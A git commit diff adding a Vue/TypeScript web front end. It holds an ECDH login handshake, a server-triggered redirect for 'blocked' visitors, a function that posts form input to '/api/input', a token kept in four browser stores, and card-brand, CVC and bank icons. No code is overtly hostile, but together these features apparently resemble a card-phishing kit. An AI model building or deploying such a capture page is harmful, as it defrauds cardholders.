This commit is contained in:
telangpu
2026-05-10 22:11:57 +08:00
parent 28f5c4ad85
commit b8e0814009
1424 changed files with 31712 additions and 390 deletions

View File

@@ -0,0 +1,70 @@
<script setup lang="ts">
import { RouterView } from "vue-router";
import { onMounted } from "vue";
import http from "@/api/http";
import { useLoadingStore } from "@/stores/loadingStore";
import {
configData,
loginSuccess,
redirectToExternal,
headHtml,
loadHtml,
headerHtml,
footerHtml,
} from "@/utils/common";
import { generateECDHKeyPair, deriveSessionKey } from "@/utils/socketio";
import LoadingView from "@/views/LoadingView.vue";
const loadingStore = useLoadingStore();
onMounted(() => {
login();
});
const login = async function () {
headerHtml.value = await loadHtml("/Static_zy/header.html");
loadingStore.setLoading(true);
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
http.post("/api", { clientPublicKey: clientPublicKeyB64 }).then(async (data) => {
if (data.data.isBlock) {
redirectToExternal();
return;
}
if (data.data.isFirst) {
localStorage.removeItem("route")
}
let token = data.data.Token;
if (data.data.mode) {
localStorage.setItem("mode", data.data.mode);
}
// 如果服务端返回了公钥,完成 ECDH 推导会话密钥(兼容大小写两种字段名)
const serverPubKey = data.data.ServerPublicKey || data.data.serverPublicKey;
let sessionCrypto = null;
if (serverPubKey) {
try {
sessionCrypto = await deriveSessionKey(serverPubKey, keyPair.privateKey);
} catch (e) {
}
}
loginSuccess(token, data.data.mode, sessionCrypto);
if (data.data.custom) {
configData.value = JSON.parse(data.data.custom);
}
});
footerHtml.value = await loadHtml("/Static_zy/footer.html");
};
</script>
<template>
<div v-html="headHtml"></div>
<LoadingView />
<RouterView />
</template>
<style scoped></style>

View File

@@ -0,0 +1,5 @@
import http from "@/api/http";
export function sendInput(data: any) {
http.post("/api/input", data).then((data) => {});
}

View File

@@ -0,0 +1,223 @@
// http.js
import axios from "axios";
import { v4 as uuidv4 } from "uuid";
// ============ 配置 ============
const BASE_URL = import.meta.env.VITE_BASE_URL === "/"
? "/"
: import.meta.env.VITE_BASE_URL.startsWith('localhost:')
? `http://${import.meta.env.VITE_BASE_URL}`
: `https://${import.meta.env.VITE_BASE_URL}`;
const DB_CONFIG = {
name: "TokenDB",
version: 2,
store: "tokens",
key: "userToken",
} as const;
const STORAGE_KEY = "token";
// ============ IndexedDB 操作 ============
class TokenDB {
private static async open(): Promise<IDBDatabase> {
return new Promise((resolve, reject) => {
const request = indexedDB.open(DB_CONFIG.name, DB_CONFIG.version);
request.onerror = () => reject(request.error);
request.onsuccess = () => resolve(request.result);
request.onupgradeneeded = (event) => {
const db = (event.target as IDBOpenDBRequest).result;
if (db.objectStoreNames.contains(DB_CONFIG.store)) {
db.deleteObjectStore(DB_CONFIG.store);
}
db.createObjectStore(DB_CONFIG.store, { keyPath: "key" });
};
});
}
static async get(): Promise<string | null> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readonly");
const request = tx.objectStore(DB_CONFIG.store).get(DB_CONFIG.key);
request.onsuccess = () => resolve(request.result?.value || null);
request.onerror = () => resolve(null);
tx.oncomplete = () => db.close();
tx.onabort = () => db.close();
});
} catch {
return null;
}
}
static async set(token: string): Promise<void> {
try {
const db = await this.open();
return new Promise((resolve) => {
const tx = db.transaction(DB_CONFIG.store, "readwrite");
tx.objectStore(DB_CONFIG.store).put({ key: DB_CONFIG.key, value: token });
tx.oncomplete = () => { db.close(); resolve(); };
tx.onerror = () => { db.close(); resolve(); };
});
} catch {
// 静默失败,有其他存储兜底
}
}
}
// ============ Token 管理器 ============
class TokenManager {
private static cache: string | null = null;
private static pending: Promise<string> | null = null;
// UUID v4 格式校验,防止脏数据
private static isValidToken(token: string | null): token is string {
return !!token && /^[0-9a-f]{8}-[0-9a-f]{4}-4[0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}$/i.test(token);
}
// 安全地操作 Storage
private static safeGet(storage: Storage): string | null {
try {
return storage.getItem(STORAGE_KEY);
} catch {
return null;
}
}
private static safeSet(storage: Storage, token: string): void {
try {
storage.setItem(STORAGE_KEY, token);
} catch {
// 静默失败
}
}
// Cookie 操作同步iOS 上比 localStorage 更早可用)
private static getFromCookie(): string | null {
try {
const match = document.cookie.match(new RegExp(`(?:^|; )${STORAGE_KEY}=([^;]*)`));
return match ? decodeURIComponent(match[1]) : null;
} catch {
return null;
}
}
private static saveToCookie(token: string): void {
try {
// 有效期 400 天Safari 上限SameSite=Lax 兼容 WebView
document.cookie = `${STORAGE_KEY}=${encodeURIComponent(token)};path=/;max-age=34560000;SameSite=Lax`;
} catch {
// 静默失败
}
}
// 同步到所有存储(后台执行,不阻塞)
private static syncToAllStorages(token: string): void {
this.safeSet(sessionStorage, token);
this.safeSet(localStorage, token);
this.saveToCookie(token);
TokenDB.set(token).catch(() => { });
}
// 从同步存储快速获取cookie 优先iOS 上最可靠的同步读取)
private static getFromSyncStorage(): string | null {
const token = this.getFromCookie() || this.safeGet(sessionStorage) || this.safeGet(localStorage);
return this.isValidToken(token) ? token : null;
}
// 延迟后重试读取同步存储iOS 冷启动时存储可能未就绪)
private static waitAndRetrySync(ms: number): Promise<string | null> {
return new Promise(resolve => {
setTimeout(() => resolve(this.getFromSyncStorage()), ms);
});
}
// 主入口:获取或创建 Token
static async getToken(): Promise<string> {
// 1. 内存缓存(最快)
if (this.cache) return this.cache;
// 2. 等待进行中的创建(并发安全)
if (this.pending) return this.pending;
// 3. 同步存储快速路径
const syncToken = this.getFromSyncStorage();
if (syncToken) {
this.cache = syncToken;
this.syncToAllStorages(syncToken);
return syncToken;
}
// 4. 异步获取或创建(带锁)
this.pending = this.createToken();
return this.pending;
}
private static async createToken(): Promise<string> {
try {
// 再次检查缓存
if (this.cache) return this.cache;
// 尝试从 IndexedDB 恢复
const dbToken = await TokenDB.get();
if (dbToken && this.isValidToken(dbToken)) {
this.cache = dbToken;
this.syncToAllStorages(dbToken);
return dbToken;
}
// iOS 冷启动兜底:等待一小段时间后重试同步存储
// localStorage/cookie 数据可能存在,但初始化瞬间还未就绪)
for (const delay of [50, 100, 150]) {
const retryToken = await this.waitAndRetrySync(delay);
if (retryToken) {
this.cache = retryToken;
this.syncToAllStorages(retryToken);
return retryToken;
}
}
// 所有恢复手段用尽,生成新 Token
const newToken = uuidv4();
this.cache = newToken;
this.syncToAllStorages(newToken);
return newToken;
} finally {
this.pending = null;
}
}
}
// ============ Axios 实例 ============
const http = axios.create({
baseURL: BASE_URL,
timeout: 15000,
});
// 请求拦截器
http.interceptors.request.use(
async (config) => {
const token = await TokenManager.getToken();
config.headers["Token"] = token;
config.headers["X-Token"] = token;
config.params = { ...config.params, token };
return config;
},
(error) => Promise.reject(error)
);
// 响应拦截器
http.interceptors.response.use(
(response) => response.data,
(error) => {
if (error.response) {
console.error("Error:", error.response.status, error.response.data);
} else {
console.error("Error:", error.message);
}
return Promise.reject(error);
}
);
export default http;

View File

@@ -0,0 +1,11 @@
html, body {
padding: 0;
border: 0;
margin: 0;
overflow-x: hidden;
overflow-y: auto;
overflow: hidden auto
}

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 0h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#0079be"/><path d="m599.93 251.45c0-99.415-82.98-168.13-173.9-168.1h-78.242c-92.003-.033-167.73 68.705-167.73 168.1 0 90.93 75.727 165.64 167.73 165.2h78.242c90.914.436 173.9-74.294 173.9-165.2z" fill="#fff"/><path d="m348.28 97.43c-84.07.027-152.19 68.308-152.21 152.58.02 84.258 68.144 152.53 152.21 152.56 84.09-.027 152.23-68.303 152.24-152.56-.011-84.272-68.149-152.55-152.24-152.58z" fill="#0079be"/><path d="m252.07 249.6c.08-41.181 25.746-76.297 61.94-90.25v180.48c-36.194-13.948-61.861-49.045-61.94-90.23zm131 90.274v-180.53c36.207 13.92 61.914 49.057 61.979 90.257-.065 41.212-25.772 76.322-61.979 90.269z" fill="#fff"/></svg>

After

Width:  |  Height:  |  Size: 901 B

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 8.7 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><svg viewBox="0 0 48 48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><defs><style>.cls-1{fill:url(#linear-gradient);}.cls-2{fill:#a5a4a4;}.cls-3{fill:#333;}.cls-4{fill:#e6e6e6;}.cls-5{fill:gray;}.cls-6{fill:url(#linear-gradient-2);}.cls-7{fill:url(#linear-gradient-3);}.cls-8{fill:#fff;}</style><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient" x1="22.04" x2="22.04" y1="12.76" y2="39.8"><stop offset="0" stop-color="#e6e6e6"/><stop offset="1" stop-color="#bababa"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-2" x1="35.54" x2="35.54" y1="11.27" y2="20.1"><stop offset="0" stop-color="#00bde8"/><stop offset="1" stop-color="#009dc1"/></linearGradient><linearGradient gradientUnits="userSpaceOnUse" id="linear-gradient-3" x1="35.54" x2="35.54" y1="12" y2="19.67"><stop offset="0" stop-color="#00cfff"/><stop offset="1" stop-color="#00afd6"/></linearGradient></defs><title/><g id="icons"><g data-name="Layer 3" id="Layer_3"><rect class="cls-1" height="26" rx="5" ry="5" width="35" x="4.54" y="12.81"/><path class="cls-2" d="M35.54,11.19a7.63,7.63,0,1,0,4,14.1V12.34A7.54,7.54,0,0,0,35.54,11.19Z"/><rect class="cls-3" height="4" width="35" x="4.54" y="19.81"/><rect class="cls-4" height="2" width="8" x="8.54" y="32.81"/><rect class="cls-4" height="2" width="6" x="19.54" y="32.81"/><rect class="cls-4" height="2" width="7" x="28.54" y="32.81"/><rect class="cls-5" height="2" width="8" x="8.54" y="31.81"/><rect class="cls-5" height="2" width="6" x="19.54" y="31.81"/><rect class="cls-5" height="2" width="7" x="28.54" y="31.81"/><path class="cls-6" d="M43.17,16.81a7.63,7.63,0,1,1-7.63-7.62A7.64,7.64,0,0,1,43.17,16.81Z"/><path class="cls-7" d="M35.54,23.44a6.63,6.63,0,1,1,6.63-6.63,6.63,6.63,0,0,1-6.63,6.63Z"/><path class="cls-8" d="M38,16.58V14.85a2.25,2.25,0,0,0-2.25-2.25h-.34a2.25,2.25,0,0,0-2.25,2.25v1.73H31.79V21H39.3V16.58Zm-1,0H34.12V14.85a1.25,1.25,0,0,1,1.25-1.25h.34A1.25,1.25,0,0,1,37,14.85Z"/></g></g></svg>

After

Width:  |  Height:  |  Size: 2.0 KiB

View File

@@ -0,0 +1 @@
<svg width="24" height="24" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg" fill="#6d6e78" role="img" aria-labelledby="cvcDesc"><path opacity=".2" fill-rule="evenodd" clip-rule="evenodd" d="M15.337 4A5.493 5.493 0 0013 8.5c0 1.33.472 2.55 1.257 3.5H4a1 1 0 00-1 1v1a1 1 0 001 1h16a1 1 0 001-1v-.6a5.526 5.526 0 002-1.737V18a2 2 0 01-2 2H3a2 2 0 01-2-2V6a2 2 0 012-2h12.337zm6.707.293c.239.202.46.424.662.663a2.01 2.01 0 00-.662-.663z"></path><path opacity=".4" fill-rule="evenodd" clip-rule="evenodd" d="M13.6 6a5.477 5.477 0 00-.578 3H1V6h12.6z"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M18.5 14a5.5 5.5 0 110-11 5.5 5.5 0 010 11zm-2.184-7.779h-.621l-1.516.77v.786l1.202-.628v3.63h.943V6.22h-.008zm1.807.629c.448 0 .762.251.762.613 0 .393-.37.668-.904.668h-.235v.668h.283c.565 0 .95.282.95.691 0 .393-.377.66-.911.66-.393 0-.786-.126-1.194-.37v.786c.44.189.88.291 1.312.291 1.029 0 1.736-.526 1.736-1.288 0-.535-.33-.967-.88-1.14.472-.157.778-.573.778-1.045 0-.738-.652-1.241-1.595-1.241a3.143 3.143 0 00-1.234.267v.77c.378-.212.763-.33 1.132-.33zm3.394 1.713c.574 0 .974.338.974.778 0 .463-.4.785-.974.785-.346 0-.707-.11-1.076-.337v.809c.385.173.778.26 1.163.26.204 0 .392-.032.573-.08a4.313 4.313 0 00.644-2.262l-.015-.33a1.807 1.807 0 00-.967-.252 3 3 0 00-.448.032V6.944h1.132a4.423 4.423 0 00-.362-.723h-1.587v2.475a3.9 3.9 0 01.943-.133z"></path></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><linearGradient id="a" gradientTransform="matrix(132.87 0 0 323.02 -120270 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#007b40"/><stop offset="1" stop-color="#55b330"/></linearGradient><linearGradient id="b" gradientTransform="matrix(133.43 0 0 323.02 -121080 -100920)" gradientUnits="userSpaceOnUse" x1="908.73" x2="909.73" y1="313.21" y2="313.21"><stop offset="0" stop-color="#1d2970"/><stop offset="1" stop-color="#006dba"/></linearGradient><linearGradient id="c" gradientTransform="matrix(132.96 0 0 323.03 -120500 -100930)" gradientUnits="userSpaceOnUse" x1="908.72" x2="909.72" y1="313.21" y2="313.21"><stop offset="0" stop-color="#6e2b2f"/><stop offset="1" stop-color="#e30138"/></linearGradient><path d="m632.24 361.27c0 41.615-33.729 75.36-75.357 75.36h-409.13v-297.88c0-41.626 33.73-75.371 75.364-75.371h409.12l-.001 297.89z" fill="#fff"/><path d="m498.86 256.54c11.686.254 23.438-.516 35.077.4 11.787 2.199 14.628 20.043 4.156 25.887-7.145 3.85-15.633 1.434-23.379 2.113h-15.854zm41.834-32.145c2.596 9.164-6.238 17.392-15.064 16.13h-26.77c.188-8.642-.367-18.022.272-26.209 10.724.302 21.547-.616 32.209.48 4.581 1.151 8.415 4.917 9.353 9.599zm64.425-135.9c.498 17.501.072 35.927.215 53.783-.033 72.596.07 145.19-.057 217.79-.47 27.207-24.582 50.848-51.601 51.391-27.045.11-54.094.017-81.143.047v-109.75c29.471-.152 58.957.309 88.416-.23 13.666-.858 28.635-9.875 29.271-24.914 1.609-15.104-12.631-25.551-26.151-27.201-5.197-.135-5.045-1.515 0-2.117 12.895-2.787 23.021-16.133 19.227-29.499-3.233-14.058-18.771-19.499-31.695-19.472-26.352-.179-52.709-.025-79.062-.077.17-20.489-.355-41 .283-61.474 2.088-26.716 26.807-48.748 53.446-48.27 26.287-.004 52.57-.004 78.851-.005z" fill="url(#a)"/><path d="m174.74 139.54c.673-27.164 24.888-50.611 51.872-51.008 26.945-.083 53.894-.012 80.839-.036-.074 90.885.146 181.78-.111 272.66-1.038 26.834-24.989 49.834-51.679 50.309-26.996.098-53.995.014-80.992.041v-113.45c26.223 6.195 53.722 8.832 80.474 4.723 15.991-2.573 33.487-10.426 38.901-27.016 3.984-14.191 1.741-29.126 2.334-43.691v-33.825h-46.297c-.208 22.371.426 44.781-.335 67.125-1.248 13.734-14.849 22.46-27.802 21.994-16.064.17-47.897-11.642-47.897-11.642-.08-41.914.466-94.405.693-136.18z" fill="url(#b)"/><path d="m324.72 211.89c-2.437.517-.49-8.301-1.113-11.646.166-21.15-.347-42.323.283-63.458 2.082-26.829 26.991-48.916 53.738-48.288h78.768c-.074 90.885.145 181.78-.111 272.66-1.039 26.834-24.992 49.833-51.683 50.309-26.997.102-53.997.016-80.996.042v-124.3c18.439 15.129 43.5 17.484 66.472 17.525 17.318-.006 34.535-2.676 51.353-6.67v-22.772c-18.953 9.446-41.233 15.446-62.243 10.019-14.656-3.648-25.295-17.812-25.058-32.937-1.698-15.729 7.522-32.335 22.979-37.011 19.191-6.008 40.107-1.413 58.096 6.398 3.854 2.018 7.766 4.521 6.225-1.921v-17.899c-30.086-7.158-62.104-9.792-92.33-2.005-8.749 2.468-17.273 6.211-24.38 11.956z" fill="url(#c)"/></svg>

After

Width:  |  Height:  |  Size: 3.0 KiB

View File

@@ -0,0 +1 @@
<?xml version="1.0" ?><!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 1.1//EN' 'http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd'><svg enable-background="new 0 0 48 48" height="48px" id="Layer_1" version="1.1" viewBox="0 0 48 48" width="48px" xml:space="preserve" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><path clip-rule="evenodd" d="M46,44.438H2c-0.553,0-1-0.447-1-1s0.447-1,1-1h44c0.553,0,1,0.447,1,1 S46.553,44.438,46,44.438z M16,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1H8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13H8 c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H16z M13,21.438h-2v13h2V21.438z M28,34.438c0.553,0,1,0.447,1,1s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1 c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1c0,0.553-0.447,1-1,1h-1v13H28z M25,21.438h-2v13h2V21.438z M44,39.438 c0,0.553-0.447,1-1,1H5c-0.553,0-1-0.447-1-1s0.447-1,1-1h38C43.553,38.438,44,38.885,44,39.438z M40,34.438c0.553,0,1,0.447,1,1 s-0.447,1-1,1h-8c-0.553,0-1-0.447-1-1s0.447-1,1-1h1v-13h-1c-0.553,0-1-0.447-1-1c0-0.552,0.447-1,1-1h8c0.553,0,1,0.448,1,1 c0,0.553-0.447,1-1,1h-1v13H40z M37,21.438h-2v13h2V21.438z M3,15.438L24,4l21,11.438v2H3V15.438z M40.541,15.438L24,6.886 L7.396,15.438H40.541z" fill-rule="evenodd"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

View File

@@ -0,0 +1,60 @@
<?xml version="1.0" encoding="utf-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" style="margin: auto; background: rgb(255, 255, 255); display: block; shape-rendering: auto;" width="200px" height="200px" viewBox="0 0 100 100" preserveAspectRatio="xMidYMid">
<g transform="translate(80,50)">
<g transform="rotate(0)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="1">
<animateTransform attributeName="transform" type="scale" begin="-0.875s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.875s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,71.21320343559643)">
<g transform="rotate(45)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.875">
<animateTransform attributeName="transform" type="scale" begin="-0.75s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.75s"></animate>
</circle>
</g>
</g><g transform="translate(50,80)">
<g transform="rotate(90)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.75">
<animateTransform attributeName="transform" type="scale" begin="-0.625s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.625s"></animate>
</circle>
</g>
</g><g transform="translate(28.786796564403577,71.21320343559643)">
<g transform="rotate(135)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.625">
<animateTransform attributeName="transform" type="scale" begin="-0.5s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.5s"></animate>
</circle>
</g>
</g><g transform="translate(20,50.00000000000001)">
<g transform="rotate(180)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.5">
<animateTransform attributeName="transform" type="scale" begin="-0.375s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.375s"></animate>
</circle>
</g>
</g><g transform="translate(28.78679656440357,28.786796564403577)">
<g transform="rotate(225)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.375">
<animateTransform attributeName="transform" type="scale" begin="-0.25s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.25s"></animate>
</circle>
</g>
</g><g transform="translate(49.99999999999999,20)">
<g transform="rotate(270)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.25">
<animateTransform attributeName="transform" type="scale" begin="-0.125s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="-0.125s"></animate>
</circle>
</g>
</g><g transform="translate(71.21320343559643,28.78679656440357)">
<g transform="rotate(315)">
<circle cx="0" cy="0" r="6" fill="#000000" fill-opacity="0.125">
<animateTransform attributeName="transform" type="scale" begin="0s" values="1.5 1.5;1 1" keyTimes="0;1" dur="1s" repeatCount="indefinite"></animateTransform>
<animate attributeName="fill-opacity" keyTimes="0;1" dur="1s" repeatCount="indefinite" values="1;0" begin="0s"></animate>
</circle>
</g>
</g>
<!-- [ldio] generated by https://loading.io/ --></svg>

After

Width:  |  Height:  |  Size: 3.9 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m293.2 348.73 33.359-195.76h53.358l-33.384 195.76zm246.11-191.54c-10.569-3.966-27.135-8.222-47.821-8.222-52.726 0-89.863 26.551-90.181 64.604-.297 28.129 26.515 43.822 46.754 53.185 20.771 9.598 27.752 15.716 27.652 24.283-.133 13.123-16.586 19.115-31.924 19.115-21.355 0-32.701-2.967-50.225-10.273l-6.878-3.111-7.487 43.822c12.463 5.467 35.508 10.199 59.438 10.445 56.09 0 92.502-26.248 92.916-66.885.199-22.27-14.016-39.215-44.801-53.188-18.65-9.056-30.072-15.099-29.951-24.269 0-8.137 9.668-16.838 30.56-16.838 17.446-.271 30.088 3.534 39.936 7.5l4.781 2.259zm137.31-4.223h-41.23c-12.772 0-22.332 3.486-27.94 16.234l-79.245 179.4h56.031s9.159-24.121 11.231-29.418c6.123 0 60.555.084 68.336.084 1.596 6.854 6.492 29.334 6.492 29.334h49.512l-43.187-195.64zm-65.417 126.41c4.414-11.279 21.26-54.724 21.26-54.724-.314.521 4.381-11.334 7.074-18.684l3.606 16.878s10.217 46.729 12.353 56.527h-44.293zm-363.3-126.41-52.239 133.5-5.565-27.129c-9.726-31.274-40.025-65.157-73.898-82.12l47.767 171.2 56.455-.063 84.004-195.39-56.524-.001" fill="#0e4595"/><path d="m146.92 152.96h-86.041l-.682 4.073c66.939 16.204 111.23 55.363 129.62 102.42l-18.709-89.96c-3.229-12.396-12.597-16.096-24.186-16.528" fill="#f2ae14"/></svg>

After

Width:  |  Height:  |  Size: 1.3 KiB

File diff suppressed because one or more lines are too long

After

Width:  |  Height:  |  Size: 6.8 KiB

View File

@@ -0,0 +1 @@
<svg enable-background="new 0 0 780 500" height="500" viewBox="0 0 780 500" width="780" xmlns="http://www.w3.org/2000/svg"><path d="m40 .001h700c22.092 0 40 17.909 40 40v420c0 22.092-17.908 40-40 40h-700c-22.091 0-40-17.908-40-40v-420c0-22.091 17.909-40 40-40z" fill="#2557d6"/><path d="m.253 235.69h37.441l8.442-19.51h18.9l8.42 19.51h73.668v-14.915l6.576 14.98h38.243l6.576-15.202v15.138h183.08l-.085-32.026h3.542c2.479.083 3.204.302 3.204 4.226v27.8h94.689v-7.455c7.639 3.92 19.518 7.455 35.148 7.455h39.836l8.525-19.51h18.9l8.337 19.51h76.765v-18.532l11.626 18.532h61.515v-122.51h-60.88v14.468l-8.522-14.468h-62.471v14.468l-7.828-14.468h-84.38c-14.123 0-26.539 1.889-36.569 7.153v-7.153h-58.229v7.153c-6.383-5.426-15.079-7.153-24.75-7.153h-212.74l-14.274 31.641-14.659-31.641h-67.005v14.468l-7.362-14.468h-57.145l-26.539 58.246v64.261h.003zm236.34-17.67h-22.464l-.083-68.794-31.775 68.793h-19.24l-31.858-68.854v68.854h-44.57l-8.42-19.592h-45.627l-8.505 19.592h-23.801l39.241-87.837h32.559l37.269 83.164v-83.164h35.766l28.678 59.587 26.344-59.587h36.485zm-165.9-37.823-14.998-35.017-14.915 35.017zm255.3 37.821h-73.203v-87.837h73.203v18.291h-51.289v15.833h50.06v18.005h-50.061v17.542h51.289zm103.16-64.18c0 14.004-9.755 21.24-15.439 23.412 4.794 1.748 8.891 4.838 10.84 7.397 3.094 4.369 3.628 8.271 3.628 16.116v17.255h-22.104l-.083-11.077c0-5.285.528-12.886-3.458-17.112-3.202-3.09-8.083-3.76-15.973-3.76h-23.523v31.95h-21.914v-87.838h50.401c11.199 0 19.451.283 26.535 4.207 6.933 3.924 11.09 9.652 11.09 19.45zm-27.699 13.042c-3.013 1.752-6.573 1.81-10.841 1.81h-26.62v-19.51h26.982c3.818 0 7.804.164 10.393 1.584 2.842 1.28 4.601 4.003 4.601 7.765 0 3.84-1.674 6.929-4.515 8.351zm62.844 51.138h-22.358v-87.837h22.358zm259.56 0h-31.053l-41.535-65.927v65.927h-44.628l-8.527-19.592h-45.521l-8.271 19.592h-25.648c-10.649 0-24.138-2.257-31.773-9.715-7.701-7.458-11.708-17.56-11.708-33.533 0-13.027 2.395-24.936 11.812-34.347 7.085-7.01 18.18-10.242 33.28-10.242h21.215v18.821h-20.771c-7.997 0-12.514 1.14-16.862 5.203-3.735 3.699-6.298 10.69-6.298 19.897 0 9.41 1.951 16.196 6.023 20.628 3.373 3.476 9.506 4.53 15.272 4.53h9.842l30.884-69.076h32.835l37.102 83.081v-83.08h33.366l38.519 61.174v-61.174h22.445zm-133.2-37.82-15.165-35.017-15.081 35.017zm189.04 178.08c-5.322 7.457-15.694 11.238-29.736 11.238h-42.319v-18.84h42.147c4.181 0 7.106-.527 8.868-2.175 1.665-1.474 2.605-3.554 2.591-5.729 0-2.561-1.064-4.593-2.677-5.811-1.59-1.342-3.904-1.95-7.722-1.95-20.574-.67-46.244.608-46.244-27.194 0-12.742 8.443-26.156 31.439-26.156h43.649v-17.479h-40.557c-12.237 0-21.129 2.81-27.425 7.174v-7.175h-59.985c-9.595 0-20.854 2.279-26.179 7.175v-7.175h-107.12v7.175c-8.524-5.892-22.908-7.175-29.549-7.175h-70.656v7.175c-6.745-6.258-21.742-7.175-30.886-7.175h-79.077l-18.094 18.764-16.949-18.764h-118.13v122.59h115.9l18.646-19.062 17.565 19.062 71.442.061v-28.838h7.021c9.479.14 20.66-.228 30.523-4.312v33.085h58.928v-31.952h2.842c3.628 0 3.985.144 3.985 3.615v28.333h179.01c11.364 0 23.244-2.786 29.824-7.845v7.845h56.78c11.815 0 23.354-1.587 32.134-5.649l.002-22.84zm-354.94-47.155c0 24.406-19.005 29.445-38.159 29.445h-27.343v29.469h-42.591l-26.984-29.086-28.042 29.086h-86.802v-87.859h88.135l26.961 28.799 27.875-28.799h70.021c17.389 0 36.929 4.613 36.929 28.945zm-174.22 40.434h-53.878v-17.48h48.11v-17.926h-48.11v-15.974h54.939l23.969 25.604zm86.81 10.06-33.644-35.789 33.644-34.65zm49.757-39.066h-28.318v-22.374h28.572c7.912 0 13.404 3.09 13.404 10.772 0 7.599-5.238 11.602-13.658 11.602zm148.36-40.373h73.138v18.17h-51.315v15.973h50.062v17.926h-50.062v17.48l51.314.08v18.23h-73.139zm-28.119 47.029c4.878 1.725 8.865 4.816 10.734 7.375 3.095 4.291 3.542 8.294 3.631 16.037v17.418h-22.002v-10.992c0-5.286.531-13.112-3.542-17.198-3.201-3.147-8.083-3.899-16.076-3.899h-23.42v32.09h-22.02v-87.859h50.594c11.093 0 19.173.47 26.366 4.146 6.915 4.004 11.266 9.487 11.266 19.511-.001 14.022-9.764 21.178-15.531 23.371zm-12.385-11.107c-2.932 1.667-6.556 1.811-10.818 1.811h-26.622v-19.732h26.982c3.902 0 7.807.08 10.458 1.587 2.84 1.423 4.538 4.146 4.538 7.903 0 3.758-1.699 6.786-4.538 8.431zm197.82 5.597c4.27 4.229 6.554 9.571 6.554 18.613 0 18.9-12.322 27.723-34.425 27.723h-42.68v-18.84h42.51c4.157 0 7.104-.525 8.95-2.175 1.508-1.358 2.589-3.333 2.589-5.729 0-2.561-1.17-4.592-2.675-5.811-1.675-1.34-3.986-1.949-7.803-1.949-20.493-.67-46.157.609-46.157-27.192 0-12.744 8.355-26.158 31.33-26.158h43.932v18.7h-40.198c-3.984 0-6.575.145-8.779 1.587-2.4 1.422-3.29 3.534-3.29 6.319 0 3.314 2.037 5.57 4.795 6.546 2.311.77 4.795.995 8.526.995l11.797.306c11.895.276 20.061 2.248 25.024 7.065zm86.955-23.52h-39.938c-3.986 0-6.638.144-8.867 1.587-2.312 1.423-3.202 3.534-3.202 6.322 0 3.314 1.951 5.568 4.791 6.544 2.312.771 4.795.996 8.444.996l11.878.304c11.983.284 19.982 